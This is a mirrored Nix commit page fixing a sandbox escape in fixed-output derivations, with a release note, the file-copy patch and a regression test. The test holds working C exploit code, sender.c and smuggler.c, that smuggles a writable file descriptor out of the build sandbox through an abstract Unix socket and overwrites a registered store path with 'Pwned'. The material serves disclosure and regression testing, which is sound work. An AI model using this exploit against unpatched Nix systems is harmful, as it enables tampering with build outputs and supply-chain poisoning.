mirror of
https://github.com/privatevoid-net/nix-super.git
synced 2024-11-25 07:16:17 +02:00
Merge pull request from GHSA-2ffj-w4mj-pg37
Copy built outputs
This commit is contained in:
commit
da62528487
8 changed files with 256 additions and 1 deletions
14
doc/manual/rl-next/fod-sandbox-escape.md
Normal file
14
doc/manual/rl-next/fod-sandbox-escape.md
Normal file
|
@ -0,0 +1,14 @@
|
||||||
|
---
|
||||||
|
synopsis: Fix a FOD sandbox escape
|
||||||
|
issues:
|
||||||
|
prs:
|
||||||
|
---
|
||||||
|
|
||||||
|
Cooperating Nix derivations could send file descriptors to files in the Nix
|
||||||
|
store to each other via Unix domain sockets in the abstract namespace. This
|
||||||
|
allowed one derivation to modify the output of the other derivation, after Nix
|
||||||
|
has registered the path as "valid" and immutable in the Nix database.
|
||||||
|
In particular, this allowed the output of fixed-output derivations to be
|
||||||
|
modified from their expected content.
|
||||||
|
|
||||||
|
This isn't the case any more.
|
|
@ -2544,6 +2544,12 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs()
|
||||||
[&](const DerivationOutput::CAFixed & dof) {
|
[&](const DerivationOutput::CAFixed & dof) {
|
||||||
auto & wanted = dof.ca.hash;
|
auto & wanted = dof.ca.hash;
|
||||||
|
|
||||||
|
// Replace the output by a fresh copy of itself to make sure
|
||||||
|
// that there's no stale file descriptor pointing to it
|
||||||
|
Path tmpOutput = actualPath + ".tmp";
|
||||||
|
renameFile(actualPath, tmpOutput);
|
||||||
|
copyFile(tmpOutput, actualPath, true);
|
||||||
|
|
||||||
auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating {
|
auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating {
|
||||||
.method = dof.ca.method,
|
.method = dof.ca.method,
|
||||||
.hashAlgo = wanted.algo,
|
.hashAlgo = wanted.algo,
|
||||||
|
|
|
@ -617,6 +617,11 @@ void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void copyFile(const Path & oldPath, const Path & newPath, bool andDelete)
|
||||||
|
{
|
||||||
|
return copy(fs::directory_entry(fs::path(oldPath)), fs::path(newPath), andDelete);
|
||||||
|
}
|
||||||
|
|
||||||
void renameFile(const Path & oldName, const Path & newName)
|
void renameFile(const Path & oldName, const Path & newName)
|
||||||
{
|
{
|
||||||
fs::rename(oldName, newName);
|
fs::rename(oldName, newName);
|
||||||
|
|
|
@ -186,6 +186,13 @@ void renameFile(const Path & src, const Path & dst);
|
||||||
*/
|
*/
|
||||||
void moveFile(const Path & src, const Path & dst);
|
void moveFile(const Path & src, const Path & dst);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Recursively copy the content of `oldPath` to `newPath`. If `andDelete` is
|
||||||
|
* `true`, then also remove `oldPath` (making this equivalent to `moveFile`, but
|
||||||
|
* with the guaranty that the destination will be “fresh”, with no stale inode
|
||||||
|
* or file descriptor pointing to it).
|
||||||
|
*/
|
||||||
|
void copyFile(const Path & oldPath, const Path & newPath, bool andDelete);
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Automatic cleanup of resources.
|
* Automatic cleanup of resources.
|
||||||
|
|
90
tests/nixos/ca-fd-leak/default.nix
Normal file
90
tests/nixos/ca-fd-leak/default.nix
Normal file
|
@ -0,0 +1,90 @@
|
||||||
|
# Nix is a sandboxed build system. But Not everything can be handled inside its
|
||||||
|
# sandbox: Network access is normally blocked off, but to download sources, a
|
||||||
|
# trapdoor has to exist. Nix handles this by having "Fixed-output derivations".
|
||||||
|
# The detail here is not important, but in our case it means that the hash of
|
||||||
|
# the output has to be known beforehand. And if you know that, you get a few
|
||||||
|
# rights: you no longer run inside a special network namespace!
|
||||||
|
#
|
||||||
|
# Now, Linux has a special feature, that not many other unices do: Abstract
|
||||||
|
# unix domain sockets! Not only that, but those are namespaced using the
|
||||||
|
# network namespace! That means that we have a way to create sockets that are
|
||||||
|
# available in every single fixed-output derivation, and also all processes
|
||||||
|
# running on the host machine! Now, this wouldn't be that much of an issue, as,
|
||||||
|
# well, the whole idea is that the output is pure, and all processes in the
|
||||||
|
# sandbox are killed before finalizing the output. What if we didn't need those
|
||||||
|
# processes at all? Unix domain sockets have a semi-known trick: you can pass
|
||||||
|
# file descriptors around!
|
||||||
|
# This makes it possible to exfiltrate a file-descriptor with write access to
|
||||||
|
# $out outside of the sandbox. And that file-descriptor can be used to modify
|
||||||
|
# the contents of the store path after it has been registered.
|
||||||
|
|
||||||
|
{ config, ... }:
|
||||||
|
|
||||||
|
let
|
||||||
|
pkgs = config.nodes.machine.nixpkgs.pkgs;
|
||||||
|
|
||||||
|
# Simple C program that sends a a file descriptor to `$out` to a Unix
|
||||||
|
# domain socket.
|
||||||
|
# Compiled statically so that we can easily send it to the VM and use it
|
||||||
|
# inside the build sandbox.
|
||||||
|
sender = pkgs.runCommandWith {
|
||||||
|
name = "sender";
|
||||||
|
stdenv = pkgs.pkgsStatic.stdenv;
|
||||||
|
} ''
|
||||||
|
$CC -static -o $out ${./sender.c}
|
||||||
|
'';
|
||||||
|
|
||||||
|
# Okay, so we have a file descriptor shipped out of the FOD now. But the
|
||||||
|
# Nix store is read-only, right? .. Well, yeah. But this file descriptor
|
||||||
|
# lives in a mount namespace where it is not! So even when this file exists
|
||||||
|
# in the actual Nix store, we're capable of just modifying its contents...
|
||||||
|
smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c);
|
||||||
|
|
||||||
|
# The abstract socket path used to exfiltrate the file descriptor
|
||||||
|
socketName = "FODSandboxExfiltrationSocket";
|
||||||
|
in
|
||||||
|
{
|
||||||
|
name = "ca-fd-leak";
|
||||||
|
|
||||||
|
nodes.machine =
|
||||||
|
{ config, lib, pkgs, ... }:
|
||||||
|
{ virtualisation.writableStore = true;
|
||||||
|
nix.settings.substituters = lib.mkForce [ ];
|
||||||
|
virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ];
|
||||||
|
};
|
||||||
|
|
||||||
|
testScript = { nodes }: ''
|
||||||
|
start_all()
|
||||||
|
|
||||||
|
machine.succeed("echo hello")
|
||||||
|
# Start the smuggler server
|
||||||
|
machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &")
|
||||||
|
|
||||||
|
# Build the smuggled derivation.
|
||||||
|
# This will connect to the smuggler server and send it the file descriptor
|
||||||
|
machine.succeed(r"""
|
||||||
|
nix-build -E '
|
||||||
|
builtins.derivation {
|
||||||
|
name = "smuggled";
|
||||||
|
system = builtins.currentSystem;
|
||||||
|
# look ma, no tricks!
|
||||||
|
outputHashMode = "flat";
|
||||||
|
outputHashAlgo = "sha256";
|
||||||
|
outputHash = builtins.hashString "sha256" "hello, world\n";
|
||||||
|
builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
|
||||||
|
args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ];
|
||||||
|
}'
|
||||||
|
""".strip())
|
||||||
|
|
||||||
|
|
||||||
|
# Tell the smuggler server that we're done
|
||||||
|
machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
|
||||||
|
|
||||||
|
# Check that the file was not modified
|
||||||
|
machine.succeed(r"""
|
||||||
|
cat ./result
|
||||||
|
test "$(cat ./result)" = "hello, world"
|
||||||
|
""".strip())
|
||||||
|
'';
|
||||||
|
|
||||||
|
}
|
65
tests/nixos/ca-fd-leak/sender.c
Normal file
65
tests/nixos/ca-fd-leak/sender.c
Normal file
|
@ -0,0 +1,65 @@
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <sys/un.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stddef.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <assert.h>
|
||||||
|
|
||||||
|
int main(int argc, char **argv) {
|
||||||
|
|
||||||
|
assert(argc == 2);
|
||||||
|
|
||||||
|
int sock = socket(AF_UNIX, SOCK_STREAM, 0);
|
||||||
|
|
||||||
|
// Set up a abstract domain socket path to connect to.
|
||||||
|
struct sockaddr_un data;
|
||||||
|
data.sun_family = AF_UNIX;
|
||||||
|
data.sun_path[0] = 0;
|
||||||
|
strcpy(data.sun_path + 1, argv[1]);
|
||||||
|
|
||||||
|
// Now try to connect, To ensure we work no matter what order we are
|
||||||
|
// executed in, just busyloop here.
|
||||||
|
int res = -1;
|
||||||
|
while (res < 0) {
|
||||||
|
res = connect(sock, (const struct sockaddr *)&data,
|
||||||
|
offsetof(struct sockaddr_un, sun_path)
|
||||||
|
+ strlen(argv[1])
|
||||||
|
+ 1);
|
||||||
|
if (res < 0 && errno != ECONNREFUSED) perror("connect");
|
||||||
|
if (errno != ECONNREFUSED) break;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Write our message header.
|
||||||
|
struct msghdr msg = {0};
|
||||||
|
msg.msg_control = malloc(128);
|
||||||
|
msg.msg_controllen = 128;
|
||||||
|
|
||||||
|
// Write an SCM_RIGHTS message containing the output path.
|
||||||
|
struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
|
||||||
|
hdr->cmsg_len = CMSG_LEN(sizeof(int));
|
||||||
|
hdr->cmsg_level = SOL_SOCKET;
|
||||||
|
hdr->cmsg_type = SCM_RIGHTS;
|
||||||
|
int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640);
|
||||||
|
memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
|
||||||
|
|
||||||
|
msg.msg_controllen = CMSG_SPACE(sizeof(int));
|
||||||
|
|
||||||
|
// Write a single null byte too.
|
||||||
|
msg.msg_iov = malloc(sizeof(struct iovec));
|
||||||
|
msg.msg_iov[0].iov_base = "";
|
||||||
|
msg.msg_iov[0].iov_len = 1;
|
||||||
|
msg.msg_iovlen = 1;
|
||||||
|
|
||||||
|
// Send it to the othher side of this connection.
|
||||||
|
res = sendmsg(sock, &msg, 0);
|
||||||
|
if (res < 0) perror("sendmsg");
|
||||||
|
int buf;
|
||||||
|
|
||||||
|
// Wait for the server to close the socket, implying that it has
|
||||||
|
// received the commmand.
|
||||||
|
recv(sock, (void *)&buf, sizeof(int), 0);
|
||||||
|
}
|
66
tests/nixos/ca-fd-leak/smuggler.c
Normal file
66
tests/nixos/ca-fd-leak/smuggler.c
Normal file
|
@ -0,0 +1,66 @@
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <sys/un.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stddef.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <assert.h>
|
||||||
|
|
||||||
|
int main(int argc, char **argv) {
|
||||||
|
|
||||||
|
assert(argc == 2);
|
||||||
|
|
||||||
|
int sock = socket(AF_UNIX, SOCK_STREAM, 0);
|
||||||
|
|
||||||
|
// Bind to the socket.
|
||||||
|
struct sockaddr_un data;
|
||||||
|
data.sun_family = AF_UNIX;
|
||||||
|
data.sun_path[0] = 0;
|
||||||
|
strcpy(data.sun_path + 1, argv[1]);
|
||||||
|
int res = bind(sock, (const struct sockaddr *)&data,
|
||||||
|
offsetof(struct sockaddr_un, sun_path)
|
||||||
|
+ strlen(argv[1])
|
||||||
|
+ 1);
|
||||||
|
if (res < 0) perror("bind");
|
||||||
|
|
||||||
|
res = listen(sock, 1);
|
||||||
|
if (res < 0) perror("listen");
|
||||||
|
|
||||||
|
int smuggling_fd = -1;
|
||||||
|
|
||||||
|
// Accept the connection a first time to receive the file descriptor.
|
||||||
|
fprintf(stderr, "%s\n", "Waiting for the first connection");
|
||||||
|
int a = accept(sock, 0, 0);
|
||||||
|
if (a < 0) perror("accept");
|
||||||
|
|
||||||
|
struct msghdr msg = {0};
|
||||||
|
msg.msg_control = malloc(128);
|
||||||
|
msg.msg_controllen = 128;
|
||||||
|
|
||||||
|
// Receive the file descriptor as sent by the smuggler.
|
||||||
|
recvmsg(a, &msg, 0);
|
||||||
|
|
||||||
|
struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
|
||||||
|
while (hdr) {
|
||||||
|
if (hdr->cmsg_level == SOL_SOCKET
|
||||||
|
&& hdr->cmsg_type == SCM_RIGHTS) {
|
||||||
|
|
||||||
|
// Grab the copy of the file descriptor.
|
||||||
|
memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int));
|
||||||
|
}
|
||||||
|
|
||||||
|
hdr = CMSG_NXTHDR(&msg, hdr);
|
||||||
|
}
|
||||||
|
fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection");
|
||||||
|
close(a);
|
||||||
|
|
||||||
|
// Wait for a second connection, which will tell us that the build is
|
||||||
|
// done
|
||||||
|
a = accept(sock, 0, 0);
|
||||||
|
fprintf(stderr, "%s\n", "Got a second connection, rewriting the file");
|
||||||
|
// Write a new content to the file
|
||||||
|
if (ftruncate(smuggling_fd, 0)) perror("ftruncate");
|
||||||
|
char * new_content = "Pwned\n";
|
||||||
|
int written_bytes = write(smuggling_fd, new_content, strlen(new_content));
|
||||||
|
if (written_bytes != strlen(new_content)) perror("write");
|
||||||
|
}
|
|
@ -156,4 +156,6 @@ in
|
||||||
(system: runNixOSTestFor system ./setuid.nix);
|
(system: runNixOSTestFor system ./setuid.nix);
|
||||||
|
|
||||||
fetch-git = runNixOSTestFor "x86_64-linux" ./fetch-git;
|
fetch-git = runNixOSTestFor "x86_64-linux" ./fetch-git;
|
||||||
|
|
||||||
|
ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak;
|
||||||
}
|
}
|
||||||
|
|
Loading…
Reference in a new issue